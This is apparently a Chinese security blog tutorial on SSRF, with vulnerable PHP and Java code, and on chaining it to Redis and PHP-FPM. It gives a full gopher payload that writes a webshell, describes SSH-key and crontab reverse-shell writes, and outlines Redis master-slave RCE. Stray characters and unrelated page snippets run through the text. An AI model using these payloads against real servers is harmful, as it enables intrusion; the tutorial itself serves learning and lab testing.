SSRF漏洞

上周挖了幾個(gè)SSRF漏洞,標(biāo)的服務(wù)器配置較為簡(jiǎn)單,利用file協(xié)議就可以做很多事情火鼻。后來(lái)順便看了一些SSRF漏洞相關(guān)的利用方法,Redis很經(jīng)典瘦陈,借此做個(gè)記錄進(jìn)而寫(xiě)了這篇關(guān)于SSRF漏洞的文章凝危。本文采用的測(cè)試環(huán)境搭建在阿里云服務(wù)器上,基于lnmp晨逝,可參照阿里云的說(shuō)明文檔進(jìn)行l(wèi)nmp的配置https://help.aliyun.com/document_detail/97251.html,此時(shí)網(wǎng)站根目錄: /usr/share/nginx/html懦铺。SSRF還有很多其他的點(diǎn)捉貌,本文側(cè)重于Redis的利用,有時(shí)間再補(bǔ)補(bǔ)其他的冬念。

1. SSRF概述

SSRF(Server-side Request Forge, 服務(wù)端請(qǐng)求偽造)趁窃,一般是由于服務(wù)端提供了從其他服務(wù)器獲取數(shù)據(jù)但沒(méi)有對(duì)地址或協(xié)議等進(jìn)行過(guò)濾或限制造成的漏洞,通常利用SSRF進(jìn)行內(nèi)網(wǎng)探測(cè)等急前。

1.1 PHP demo

以PHP為例醒陆,在服務(wù)器上創(chuàng)建一個(gè)簡(jiǎn)單的SSRF demo

<?php 
$ch = curl_init(); 
curl_setopt($ch, CURLOPT_URL, $_GET['url']); 
#curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 0); 
#curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_exec($ch); 
curl_close($ch); 
?>

這是由curl_exec()造成的SSRF,其他可造成SSRF漏洞的PHP函數(shù)包含
fopen()裆针、file_get_contents()刨摩、curl()寺晌、fsocksopen()等。

//file_get_contents() demo
$url = $_GET['url'];;
echo file_get_contents($url);

//fsocksopen()
function GetFile($host,$port,$link) 
{ 
    $fp = fsockopen($host, intval($port), $errno, $errstr, 30); 
    if (!$fp) 
    { 
        echo "$errstr (error number $errno) \n"; 
    } 
    else 
    { 
        $out = "GET $link HTTP/1.1\r\n"; 
        $out .= "Host: $host\r\n"; 
        $out .= "Connection: Close\r\n\r\n"; 
        $out .= "\r\n"; 
        fwrite($fp, $out); 
        $contents=''; 
        while (!feof($fp)) 
        { 
            $contents.= fgets($fp, 1024); 
        } 
        fclose($fp); 
        return $contents; 
    } 
}

在此demo中需要注意curl_setopt函數(shù)的一些用法澡刹,還有很多其他參數(shù)可以查詢(xún)函數(shù)說(shuō)明文檔呻征。

CURLOPT_URL 需要獲取的URL地址,也可以在curl_init()函數(shù)中設(shè)置罢浇。
CURLOPT_RETURNTRANSFER  將curl_exec()獲取的信息以文件流的形式返回陆赋,而不是直接輸出。
CURLOPT_FOLLOWLOCATION  啟用時(shí)會(huì)將服務(wù)器服務(wù)器返回的"Location: "放在header中遞歸的返回給服務(wù)器嚷闭,使用CURLOPT_MAXREDIRS可以限定遞歸返回的數(shù)量攒岛。
CURLOPT_PROTOCOLS   CURLPROTO_*的位域指。

如果CURLOPT_PROTOCOLS被啟用胞锰,位域值會(huì)限定libcurl在傳輸過(guò)程中有哪些可使用的協(xié)議灾锯。可用的協(xié)議選項(xiàng)為:(前面都有CURLPROTO_前綴)HTTP胜蛉、HTTPS挠进、FTP、FTPS誊册、SCP领突、SFTP、TELNET案怯、LDAP君旦、LDAPS、DICT嘲碱、FILE金砍、TFTP、ALL麦锯。

各個(gè)協(xié)議在SSRF中的主要應(yīng)用如下

http/https:主要用來(lái)探測(cè)內(nèi)網(wǎng)服務(wù)恕稠,根據(jù)響應(yīng)的狀態(tài)判斷內(nèi)網(wǎng)端口及服務(wù),可以結(jié)合如Struts2的RCE來(lái)實(shí)現(xiàn)攻擊扶欣;
file:讀取服務(wù)器上的任意文件鹅巍;
dict:查看安裝軟件版本信息、端口料祠,操作內(nèi)網(wǎng)Redis服務(wù)等骆捧;
gopher:能夠?qū)⑺胁僮鬓D(zhuǎn)換成數(shù)據(jù)流,并將數(shù)據(jù)流一次發(fā)送出去髓绽,可以用來(lái)探測(cè)內(nèi)網(wǎng)的所有服務(wù)的所有漏洞敛苇,可利用來(lái)攻擊Redis和PHP-FPM;
ftp/ftps:FTP匿名訪問(wèn)顺呕、爆破枫攀;
tftp:UDP協(xié)議擴(kuò)展括饶,發(fā)送UDP報(bào)文;
imap/imaps/pop3/smtp/smtps:爆破郵件用戶(hù)名密碼脓豪;
telnet:SSH/Telnet匿名訪問(wèn)及爆破巷帝;

1.2 Java demo

            URL connect = new URL(url);
            URLConnection connection = connect.openConnection();
            connection.connect();
            response.setContentType(connection.getContentType());
            String ce = connection.getContentEncoding();
            if (ce != null && ce.length() > 0) {
                response.setHeader("Content-Encoding", ce);
            }
            InputStream in = connection.getInputStream();
            try {
                ServletOutputStream out = response.getOutputStream();
                try {
                    StmFunc.stmTryCopyFrom(in, out);
                } finally {
                    if (out != null) {
                        out.close();
                    }
                }
            } finally {
                if (in != null) {
                    in.close();
                }
            }

JAVA中能發(fā)起網(wǎng)絡(luò)請(qǐng)求的類(lèi)包括:

//僅支持HTTP/HTTPS協(xié)議的類(lèi)
HttpClient
HttpURLConnection
OkHttp
Request(對(duì)HttpClient類(lèi)進(jìn)行了封裝的類(lèi))
//支持sun.net.www.protocol所有協(xié)議的類(lèi)
URLConnection
URL
ImageIO

HttpURLConnection類(lèi)

 //HttpURLConnection ssrf vul
String url = request.getParameter("url");
URL u = new URL(url);
 URLConnection urlConnection = u.openConnection();  
HttpURLConnection httpUrl = (HttpURLConnection)urlConnection;   
BufferedReader in = new BufferedReader(new InputStreamReader(httpUrl.getInputStream())); //發(fā)起請(qǐng)求,觸發(fā)漏洞
String inputLine;
 StringBuffer html = new StringBuffer(); 

 while ((inputLine = in.readLine()) != null) {
         html.append(inputLine);
        }        
 System.out.println("html:" + html.toString());
 in.close();

URLConnection類(lèi)

//urlConnection ssrf vul
String url = request.getParameter("url");
URL u = new URL(url);
URLConnection urlConnection = u.openConnection();
BufferedReader in = new BufferedReader(new InputStreamReader(urlConnection.getInputStream())); //發(fā)起請(qǐng)求,觸發(fā)漏洞
String inputLine;
StringBuffer html = new StringBuffer();
while ((inputLine = in.readLine()) != null) {
     html.append(inputLine);
}        
System.out.println("html:" + html.toString());
in.close();

ImageIO類(lèi)

String url = request.getParameter("url");
URL u = new URL(url);
BufferedImage img = ImageIO.read(u); // 發(fā)起請(qǐng)求,觸發(fā)漏洞

其他類(lèi)

// Request漏洞示例
String url = request.getParameter("url");
return Request.Get(url).execute().returnContent().toString();//發(fā)起請(qǐng)求

// openStream漏洞示例
String url = request.getParameter("url");
URL u = new URL(url);
inputStream = u.openStream();  //發(fā)起請(qǐng)求


// OkHttpClient漏洞示例
String url = request.getParameter("url");
OkHttpClient client = new OkHttpClient();
com.squareup.okhttp.Request ok_http = new com.squareup.okhttp.Request.Builder().url(url).build();
client.newCall(ok_http).execute();  //發(fā)起請(qǐng)求

// HttpClients漏洞示例
String url = request.getParameter("url");
CloseableHttpClient client = HttpClients.createDefault();
HttpGet httpGet = new HttpGet(url);
HttpResponse httpResponse = client.execute(httpGet); //發(fā)起請(qǐng)求

1.3 SSRF 利用demo

根據(jù)不同的協(xié)議,可以得到SSRF多種利用方式扫夜,下面以php demo為例
(1)file協(xié)議
利用file協(xié)議查看相關(guān)文件

file協(xié)議

(2)dict協(xié)議
利用dict協(xié)議探測(cè)端口楞泼,如22(SSH)、6379(Redis)
dict協(xié)議探測(cè)ssh

dict探測(cè)redis

另外還可以探測(cè)其中Redis中的內(nèi)容
Redis key查詢(xún)

(3)gopher協(xié)議
gopher協(xié)議支持GET&POST請(qǐng)求笤闯,在攻擊內(nèi)網(wǎng)ftp堕阔、redis、telnet颗味、Memcache上有極大作用超陆,利用gopher協(xié)議訪問(wèn)redis反彈shell較為經(jīng)典。
http://ip/vultr.php?url=gopher://127.0.0.1:2333/_hello

gopher協(xié)議

2. Redis

SSRF常與Redis一起利用浦马,Redis是一個(gè)key-value存儲(chǔ)系統(tǒng)时呀,支持五種數(shù)據(jù)類(lèi)型:string(字符串)、hash(哈希)晶默、list(列表)谨娜、set(集合)、zset(sorted set有序集合)

2.1 Redis 環(huán)境搭建

下載地址:https://github.com/tporadowski/redis/releases磺陡。

(1)Windows安裝
在下載地址中找相應(yīng)版本的redis趴梢,解壓zip后,在該目錄下開(kāi)啟cmd币他,輸入如下語(yǔ)句

Windows下開(kāi)啟redis

(2)CentOS安裝

wget http://download.redis.io/releases/redis-3.2.0.tar.gz
tar xzvf redis-3.2.0.tar.gz
cd redis-3.2.0
make

make完后 redis-2.8.17目錄下會(huì)出現(xiàn)編譯后的redis服務(wù)程序redis-server,還有用于測(cè)試的客戶(hù)端程序redis-cli,兩個(gè)程序位于安裝目錄 src 目錄下

protected-mode改為no(保護(hù)模式默認(rèn)為yes坞靶,在此模式下會(huì)拒絕redis的遠(yuǎn)程連接,所以Redis一般配合ssrf一起使用)蝴悉,用云服務(wù)器開(kāi)啟redis彰阴,想要用本地windows訪問(wèn)云主機(jī)還需要在bind 127.0.0.1后面加入一行bind 公網(wǎng)ip

redis使用

2.2 RESP協(xié)議

Redis服務(wù)器與客戶(hù)端通過(guò)RESP(REdis Serialization Protocal)協(xié)議通信。RESP協(xié)議在Redis1.2中引用拍冠,支持字符串硝枉、錯(cuò)誤、整數(shù)倦微、批量字符串、數(shù)組等數(shù)據(jù)類(lèi)型的序列化協(xié)議正压⌒栏#客戶(hù)端將命令作為Bulk Strings的RESP數(shù)組發(fā)送到Redis服務(wù)器,服務(wù)器根據(jù)命令實(shí)現(xiàn)回復(fù)一種RESP類(lèi)型焦履。

在RESP中拓劝,某些數(shù)據(jù)的類(lèi)型取決于第一個(gè)字節(jié):

對(duì)于Simple Strings雏逾,回復(fù)的第一個(gè)字節(jié)是+
對(duì)于error,回復(fù)的第一個(gè)字節(jié)是-
對(duì)于Integer郑临,回復(fù)的第一個(gè)字節(jié)是:
對(duì)于Bulk Strings栖博,回復(fù)的第一個(gè)字節(jié)是$
對(duì)于array,回復(fù)的第一個(gè)字節(jié)是*
此外厢洞,RESP能夠使用稍后指定的Bulk Strings或Array的特殊變體來(lái)表示Null值仇让。
在RESP中,協(xié)議的不同部分始終以"\r\n"(CRLF)結(jié)束躺翻。
抓取的數(shù)據(jù)包
hex轉(zhuǎn)碼

分析:首先是*3丧叽,代表數(shù)組的長(zhǎng)度為3(可以簡(jiǎn)單理解為用空格為分隔符將命令分割為["set","name","test"]);$4代表字符串的長(zhǎng)度公你,0d0a即\r\n表示結(jié)束符踊淳;+OK表示服務(wù)端執(zhí)行成功后返回的字符串

2.3 常用命令與攻擊

redis的常用命令如下

redis-cli -h ip
info 查看版本信息
get X 查看鍵為X的值
keys * 查看所有鍵
set X "test" 設(shè)置X的值為test
flushall 刪除所有鍵
config set dir /root/.ssh 設(shè)置本地存儲(chǔ)的文件目錄
config set dbfilename authorized_keys 設(shè)置本地存儲(chǔ)文件名

借助上述命令,可以進(jìn)行文件寫(xiě)入等操作陕靠,既然dir指定了redis的工作路徑迂尝,dbfilename指定了文件名,那么我們?cè)趕et這些內(nèi)容的過(guò)程中就已經(jīng)創(chuàng)建了一個(gè)存儲(chǔ)文件剪芥。如果這個(gè)文件寫(xiě)入的位置是網(wǎng)站的可訪問(wèn)目錄下垄开,并且其中內(nèi)容寫(xiě)成惡意信息,就和傳入木馬getshell的效果一致粗俱。

dir 指定的是redis的“工作路徑”说榆,之后生成的RDB和AOF文件都會(huì)存儲(chǔ)在這里。
dbfilename RDB文件名寸认,默認(rèn)為“dump.rdb”
appendonly 是否開(kāi)啟AOF
appendfilename AOF文件名签财,默認(rèn)為“appendonly.aof”
appendfsync AOF備份方式:always、everysec偏塞、no

除了上述在網(wǎng)站根目錄下寫(xiě)入shell還有兩種利用方式唱蒸,
(1)如果存在/root/.ssh目錄,直接root權(quán)限寫(xiě)/root/.ssh/authorized_keys
(2)如果不存在/root/.ssh目錄灸叼,直接root寫(xiě)crontab定時(shí)任務(wù)

利用Gopher協(xié)議攻擊

上述三種利用Redis的攻擊方式都是通過(guò)Gopher協(xié)議神汹。Gopher 協(xié)議是 HTTP 協(xié)議出現(xiàn)之前較為常用的協(xié)議,雖然現(xiàn)在用的較少古今,但是在SSRF中能起很大作用屁魏,拓寬了SSRF攻擊面。利用此協(xié)議可以攻擊內(nèi)網(wǎng)的 FTP捉腥、Telnet氓拼、Redis、Memcache母蛛,也可以進(jìn)行 GET旧巾、POST 請(qǐng)求。

下面結(jié)合Centos靶機(jī)進(jìn)行三種利用方式的測(cè)試剥扣。

(1)絕對(duì)路徑寫(xiě)webshell

開(kāi)啟redis撬统,利用socat抓包

socat -v tcp-listen:4444,fork tcp-connect:localhost:6379

開(kāi)啟redis-cli進(jìn)行相關(guān)操作


redis-cli寫(xiě)內(nèi)容

同時(shí)socat會(huì)收到如下內(nèi)容

socat中的內(nèi)容

將socat中的內(nèi)容提取出來(lái)适滓,去除時(shí)間、OK等信息行恋追,得到如下數(shù)據(jù)文本

*1\r
$8\r
flushall\r
*4\r
$6\r
config\r
$3\r
set\r
$3\r
dir\r
$21\r
/usr/share/nginx/html\r
*4\r
$6\r
config\r
$3\r
set\r
$10\r
dbfilename\r
$10\r
shell2.php\r
*3\r
$3\r
set\r
$8\r
webshell\r
$19\r
<?php phpinfo(); ?>\r
*1\r
$4\r
save\r

然后利用腳本將上述文本轉(zhuǎn)成payload

f = open('payload.txt', 'r')
s = ''
for line in f.readlines():
        line = line.replace(r"\r", "%0d%0a")
        line = line.replace("\n", '')
        s = s + line
print s.replace("$", "%24")

生成的exp

*1%0d%0a%248%0d%0aflushall%0d%0a*4%0d%0a%246%0d%0aconfig%0d%0a%243%0d%0aset%0d%0a%243%0d%0adir%0d%0a%2421%0d%0a/usr/share/nginx/html%0d%0a*4%0d%0a%246%0d%0aconfig%0d%0a%243%0d%0aset%0d%0a%2410%0d%0adbfilename%0d%0a%2410%0d%0ashell2.php%0d%0a*3%0d%0a%243%0d%0aset%0d%0a%248%0d%0awebshell%0d%0a%2419%0d%0a<?php phpinfo(); ?>%0d%0a*1%0d%0a%244%0d%0asave%0d%0a

然后對(duì)生成的腳本進(jìn)行測(cè)試

curl -v 'gopher://127.0.0.1:6379/_生成的exp

或者在網(wǎng)址中進(jìn)行測(cè)試
http://39.96.59.90/vultr.php?url=gopher://127.0.0.1:6379/_exp
然后打開(kāi)shell2.php凭迹,即可看到phpinfo

getshell

這個(gè)過(guò)程已經(jīng)有了集成工具Gopherus,地址見(jiàn)https://github.com/tarunkant/Gopherus
這個(gè)工具使用時(shí)需要注意一點(diǎn)几于,得到的payload要先進(jìn)行url編碼再發(fā)包蕊苗,否則解析過(guò)程無(wú)法得到預(yù)期結(jié)果。
工具介紹

(2)公鑰SSH登錄

.ssh

如果.ssh目錄存在沿彭,則直接寫(xiě)入~/.ssh/authorized_keys
如果不存在朽砰,則可以利用crontab創(chuàng)建該目錄,創(chuàng)建目錄就和上文所用的寫(xiě)網(wǎng)站根目錄文件方法一樣喉刘,只是備份的目錄和文件名修改為/root/.ssh/目錄和authorized_keys文件名瞧柔。

ubuntu生成ssh的key,并將其寫(xiě)入到Centos的Redis中

生成payload

同樣通過(guò)socat -v tcp-listen:4444,fork tcp-connect:localhost:6379的方式得到數(shù)據(jù)包的內(nèi)容如下睦裳,通過(guò)python腳本進(jìn)行轉(zhuǎn)換造锅,得到payload,打入redis廉邑。此處因?yàn)槭侵苯釉诎袡C(jī)redis中寫(xiě)入得所以省略了通過(guò)SSRF打redis的步驟哥蔚。
redis內(nèi)容

靶機(jī)redis成功寫(xiě)入內(nèi)容后,ssh的認(rèn)證key就已經(jīng)成了ubuntu中生成的key蛛蒙,即ubuntu采用ssh登錄Centos靶機(jī)時(shí)用本機(jī)的id_rsa即可成功登錄糙箍。
ubuntu成功利用key登錄Centos靶機(jī)

刪除Centos中的key后,Ubuntu用同樣的方式嘗試ssh登錄Centos牵祟,失敗


刪除key后ssh登錄失敗

(3)crontab

首先了解一下crontab是什么深夯。crontab是Linux中用來(lái)定期執(zhí)行程序的命令,操作系統(tǒng)安裝完成后就會(huì)默認(rèn)啟動(dòng)此任務(wù)調(diào)度命令诺苹,該命令每分鐘會(huì)定期檢查是否有要執(zhí)行的工作咕晋,如果有要執(zhí)行的工作便自動(dòng)執(zhí)行該工作。新創(chuàng)建的cron任務(wù)不會(huì)馬上執(zhí)行收奔,至少要過(guò)兩分鐘才可以掌呜,或者通過(guò)重啟方式來(lái)馬上執(zhí)行。
既然是Linux中自帶的坪哄,那么查找一下它的路徑


cron相關(guān)路徑
crontab時(shí)間格式

用gopherus站辉,傳入攻擊者的ip呢撞,還有上面查找到的cron路徑,生成ReverseShell(該工具默認(rèn)用的是1234端口)饰剥,進(jìn)行url編碼,傳入到含有SSRF漏洞的vultr.php中摧阅,監(jiān)聽(tīng)一下1234端口汰蓉,getshell


利用crontab進(jìn)行攻擊

此方法有一定的局限性,一般用于Centos系統(tǒng)棒卷,Ubuntu上攻擊無(wú)效顾孽。首先看一下兩個(gè)系統(tǒng)中crontrab定時(shí)文件位置分別在哪兒:
Centos的定時(shí)任務(wù)文件在/var/spool/cron/<username>
Ubuntu定時(shí)任務(wù)文件在/var/spool/cron/crontabs/<username>
Centos和Ubuntu均存在的cron路徑是(需要root權(quán)限)/etc/crontab

ubuntu執(zhí)行定時(shí)任務(wù)文件/var/spool/cron/crontabs/<username>權(quán)限必須是600,即-rw-------否則會(huì)報(bào)錯(cuò)比规,而Redis寫(xiě)文件的權(quán)限都是644若厚,所以不符合條件,Centos下任務(wù)文件用644權(quán)限也能打開(kāi)蜒什。而/etc/crontab 的問(wèn)題在于該路徑需要root權(quán)限测秸,但是高版本的redis默認(rèn)啟動(dòng)是redis權(quán)限,所以無(wú)法記性操作灾常。另外redis保存RDB會(huì)存在亂碼霎冯,在Ubuntu上會(huì)報(bào)錯(cuò),而在Centos上不會(huì)報(bào)錯(cuò)

2.4 主從復(fù)制特性

Redis主從復(fù)制特性是從4.X版本開(kāi)始出現(xiàn)的钞瀑。主從模式是指使用一個(gè)Redis作為主機(jī)(master)沈撞,其他Redis則作為從機(jī)即備份機(jī)(slave)。其中主機(jī)和從機(jī)數(shù)據(jù)相同雕什,主機(jī)只負(fù)責(zé)寫(xiě)缠俺,從機(jī)只負(fù)責(zé)讀,通過(guò)讀寫(xiě)分離減少讀寫(xiě)量較大時(shí)的性能壓力贷岸,也可以理解為數(shù)據(jù)的復(fù)制是單向的壹士,只能由主節(jié)點(diǎn)到從節(jié)點(diǎn)。

建立主從復(fù)制凰盔,有3種方式:

配置文件寫(xiě)入slaveof <master_ip> <master_port>
redis-server啟動(dòng)命令后加入 --slaveof <master_ip> <master_port>
連接到客戶(hù)端之后執(zhí)行:slaveof <master_ip> <master_port>

PS:建立主從關(guān)系只需要在從節(jié)點(diǎn)操作就行了墓卦,主節(jié)點(diǎn)不用任何操作

自從Redis4.x之后redis新增了一個(gè)模塊功能,Redis模塊可以使用外部模塊擴(kuò)展Redis功能户敬,以一定的速度實(shí)現(xiàn)新的Redis命令落剪,并具有類(lèi)似于核心內(nèi)部可以完成的功能。Redis模塊是動(dòng)態(tài)庫(kù)尿庐,可以在啟動(dòng)時(shí)或使用MODULE LOAD命令加載到Redis中忠怖。這樣一來(lái),如果我們構(gòu)造惡意的.so文件抄瑟,在兩個(gè)Redis實(shí)例設(shè)置主從模式的時(shí)候凡泣,Redis的主機(jī)可以通過(guò)FULLRESYNC同步文件到從機(jī)上,然后在從機(jī)上加載惡意so文件,即可執(zhí)行命令鞋拟。

利用主從復(fù)制的攻擊步驟如下圖所示:


利用步驟

第一步骂维,偽裝成redis數(shù)據(jù)庫(kù),將被攻擊者的redis設(shè)為自己的從機(jī)(slave)贺纲。SLAVEOF ip port
第二步航闺,我們?cè)O(shè)置備份文件名為so文件 config set dbfilename exp.so
第三步,設(shè)置傳輸方式為全量傳輸 +FULLRESYNC <runid> <offest>\r\n$<len(payload)>\r\n<payload>
第四步猴誊,加載so文件潦刃,實(shí)現(xiàn)任意命令執(zhí)行

主從復(fù)制的流程如下圖左邊所示,master與slave進(jìn)行握手通信懈叹,并用腳本模仿了該過(guò)程乖杠,右面比較了全面復(fù)制(全量傳輸)和部分復(fù)制(增量傳輸)兩種操作。


Redis主從復(fù)制.png

利用主從復(fù)制進(jìn)行Redis的攻擊腳本網(wǎng)上有很多澄成。輸入被攻擊者的ip等信息胧洒,在本機(jī)執(zhí)行腳本即可RCE。這些攻擊的前提都是能未授權(quán)或者能通過(guò)弱口令認(rèn)證訪問(wèn)到Redis服務(wù)器环揽。

3. FastCGI

CGI (Common Gateway Interface略荡,通用網(wǎng)關(guān)接口),是HTTP服務(wù)器與其他機(jī)器上的程序服務(wù)通信交流的一種工具歉胶,F(xiàn)astCGI是在其基礎(chǔ)上發(fā)展出來(lái)的在HTTP服務(wù)器和動(dòng)態(tài)服務(wù)腳本語(yǔ)言間通信的接口汛兜。在 Linux 下, FastCGI 接口即為 socket通今,這個(gè)socket 可以是文件 socket粥谬,也可以是IP socket。其主要優(yōu)點(diǎn)是把動(dòng)態(tài)語(yǔ)言和 HTTP 服務(wù)器分離開(kāi)來(lái)辫塌。多數(shù)流行的 HTTP 服務(wù)器都支持 FastCGI漏策,包括 Apache 、 Nginx 和 Lighttpd 等臼氨。

FastCGI結(jié)構(gòu)如下所示:

typedef struct {
  /* Header */
  unsigned char version; // 版本
  unsigned char type; // 本次record的類(lèi)型(record的作用)
  unsigned char requestIdB1; // 本次record對(duì)應(yīng)的請(qǐng)求id
  unsigned char requestIdB0;
  unsigned char contentLengthB1; // body體的大小
  unsigned char contentLengthB0;
  unsigned char paddingLength; // 額外塊大小
  unsigned char reserved; 

  /* Body */
  unsigned char contentData[contentLength];
  unsigned char paddingData[paddingLength];
} FCGI_Record;

這部分離別歌有一篇文章寫(xiě)的很清楚https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html

語(yǔ)言端解析了fastcgi頭以后掺喻,拿到contentLength,然后再在TCP流里讀取大小等于contentLength的數(shù)據(jù)储矩,即body體感耙。Body后面還有一段額外的數(shù)據(jù)(Padding),其長(zhǎng)度由頭中的paddingLength指定持隧,起保留作用即硼。不需要該P(yáng)adding的時(shí)候,將其長(zhǎng)度設(shè)置為0即可屡拨。


type字段含義

通信過(guò)程中第一個(gè)數(shù)據(jù)包就是type為1的record只酥,后續(xù)互相交流褥实,發(fā)送type為4、5裂允、6损离、7的record,結(jié)束時(shí)發(fā)送type為2叫胖、3的record草冈。當(dāng)后端語(yǔ)言接收到一個(gè)type為4的record后,就會(huì)把這個(gè)record的body按照對(duì)應(yīng)的結(jié)構(gòu)解析成key-value對(duì)瓮增,這就是環(huán)境變量。

服務(wù)器中間件將用戶(hù)請(qǐng)求按照FastCGI的規(guī)則打包好后通過(guò)TCP傳給FPM哩俭,F(xiàn)PM按照FastCGI的協(xié)議將TCP流解析成真正的數(shù)據(jù)绷跑。FPM也可以寫(xiě)為PHP-FPM,是FastCGI的進(jìn)程管理器凡资。

參考離別歌文中的例子砸捏,用戶(hù)訪問(wèn)http://127.0.0.1/index.php?a=1&b=2,如果web目錄是/var/www/html隙赁,那么Nginx會(huì)將這個(gè)請(qǐng)求變成如下key-value對(duì):

{
    'GATEWAY_INTERFACE': 'FastCGI/1.0',
    'REQUEST_METHOD': 'GET',
    'SCRIPT_FILENAME': '/var/www/html/index.php',
    'SCRIPT_NAME': '/index.php',
    'QUERY_STRING': '?a=1&b=2',
    'REQUEST_URI': '/index.php?a=1&b=2',
    'DOCUMENT_ROOT': '/var/www/html',
    'SERVER_SOFTWARE': 'php/fcgiclient',
    'REMOTE_ADDR': '127.0.0.1',
    'REMOTE_PORT': '12345',
    'SERVER_ADDR': '127.0.0.1',
    'SERVER_PORT': '80',
    'SERVER_NAME': "localhost",
    'SERVER_PROTOCOL': 'HTTP/1.1'
}

PHP-FPM拿到fastcgi的數(shù)據(jù)包后垦藏,進(jìn)行解析,得到上述這些環(huán)境變量伞访。然后執(zhí)行SCRIPT_FILENAME的值指向的PHP文件掂骏,即/var/www/html/index.php。FPM是根據(jù)這個(gè)值來(lái)執(zhí)行php文件的厚掷,如果這個(gè)文件不存在弟灼,F(xiàn)PM會(huì)直接返回404。在FPM某個(gè)版本之前冒黑,我們可以將SCRIPT_FILENAME的值指定為任意后綴文件田绑,比如/etc/passwd;但后來(lái)抡爹,fpm的默認(rèn)配置中增加了一個(gè)選項(xiàng)security.limit_extensions掩驱,可解析的選項(xiàng)中只包含.php .php3 .php4 .php5 .php7,這樣一來(lái)再訪問(wèn)/etc/passwd就會(huì)返回Access denied冬竟。

PHP-FPM默認(rèn)監(jiān)聽(tīng)9000端口欧穴,如果這個(gè)端口暴露在公網(wǎng),則我們可以自己構(gòu)造FastCGI協(xié)議诱咏,和FPM進(jìn)行通信苔可。

附上離別歌的攻擊腳本
https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75
另外,上文介紹的Gopherus中也有攻擊腳本

4. CRLF

CRLF是“回車(chē)(CR袋狞,Carriage Return)+ 換行(LF焚辅,Line Feed)
”(\r\n)的簡(jiǎn)稱(chēng)映屋。CR 用符號(hào)'\r'表示, 十進(jìn)制ASCII代碼是 13, 十六進(jìn)制代碼為 0x0D;LF 使用'\n'符號(hào)表示同蜻,ASCII代碼是 10, 十六制為 0x0A棚点。

Dos 和 windows 采用“回車(chē)+換行,CR/LF”表示下一行湾蔓;
UNIX/Linux 采用“換行符瘫析,LF”表示下一行;
蘋(píng)果機(jī)(MAC OS 系統(tǒng))則采用“回車(chē)符默责,CR”表示下一行贬循。

在HTTP協(xié)議中,HTTP Header與HTTP Body是用兩個(gè)CRLF分隔的桃序,瀏覽器就是根據(jù)這兩個(gè)CRLF來(lái)取出HTTP 內(nèi)容并顯示出來(lái)杖虾。一旦我們能夠控制HTTP 消息頭中的字符,注入一些惡意的換行媒熊,這樣我們就能注入一些會(huì)話(huà)Cookie或者HTML代碼奇适,所以CRLF Injection又叫HTTP Response Splitting,簡(jiǎn)稱(chēng)HRS芦鳍。一般常見(jiàn)于(1)URL跳轉(zhuǎn)(2)Cookie的設(shè)置中

這部分烏云中有篇文章寫(xiě)得很簡(jiǎn)單也很清楚
https://wooyun.js.org/drops/CRLF%20Injection%E6%BC%8F%E6%B4%9E%E7%9A%84%E5%88%A9%E7%94%A8%E4%B8%8E%E5%AE%9E%E4%BE%8B%E5%88%86%E6%9E%90.html

CRLF用于SSRF相結(jié)合的方式嚷往,參考如上的Redis攻擊。

參考資料

https://xz.aliyun.com/t/5665#toc-13

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末柠衅,一起剝皮案震驚了整個(gè)濱河市皮仁,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌茄茁,老刑警劉巖魂贬,帶你破解...
    沈念sama閱讀 221,548評(píng)論 6 515
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場(chǎng)離奇詭異裙顽,居然都是意外死亡付燥,警方通過(guò)查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 94,497評(píng)論 3 399
  • 文/潘曉璐 我一進(jìn)店門(mén)愈犹,熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái)键科,“玉大人,你說(shuō)我怎么就攤上這事漩怎⊙保” “怎么了?”我有些...
    開(kāi)封第一講書(shū)人閱讀 167,990評(píng)論 0 360
  • 文/不壞的土叔 我叫張陵勋锤,是天一觀的道長(zhǎng)饭玲。 經(jīng)常有香客問(wèn)我,道長(zhǎng)叁执,這世上最難降的妖魔是什么茄厘? 我笑而不...
    開(kāi)封第一講書(shū)人閱讀 59,618評(píng)論 1 296
  • 正文 為了忘掉前任矮冬,我火速辦了婚禮,結(jié)果婚禮上次哈,老公的妹妹穿的比我還像新娘胎署。我一直安慰自己,他們只是感情好窑滞,可當(dāng)我...
    茶點(diǎn)故事閱讀 68,618評(píng)論 6 397
  • 文/花漫 我一把揭開(kāi)白布琼牧。 她就那樣靜靜地躺著,像睡著了一般哀卫。 火紅的嫁衣襯著肌膚如雪巨坊。 梳的紋絲不亂的頭發(fā)上,一...
    開(kāi)封第一講書(shū)人閱讀 52,246評(píng)論 1 308
  • 那天此改,我揣著相機(jī)與錄音抱究,去河邊找鬼。 笑死带斑,一個(gè)胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的勋拟。 我是一名探鬼主播勋磕,決...
    沈念sama閱讀 40,819評(píng)論 3 421
  • 文/蒼蘭香墨 我猛地睜開(kāi)眼,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼敢靡!你這毒婦竟也來(lái)了挂滓?” 一聲冷哼從身側(cè)響起,我...
    開(kāi)封第一講書(shū)人閱讀 39,725評(píng)論 0 276
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤啸胧,失蹤者是張志新(化名)和其女友劉穎赶站,沒(méi)想到半個(gè)月后,有當(dāng)?shù)厝嗽跇?shù)林里發(fā)現(xiàn)了一具尸體纺念,經(jīng)...
    沈念sama閱讀 46,268評(píng)論 1 320
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡贝椿,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 38,356評(píng)論 3 340
  • 正文 我和宋清朗相戀三年,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了陷谱。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片烙博。...
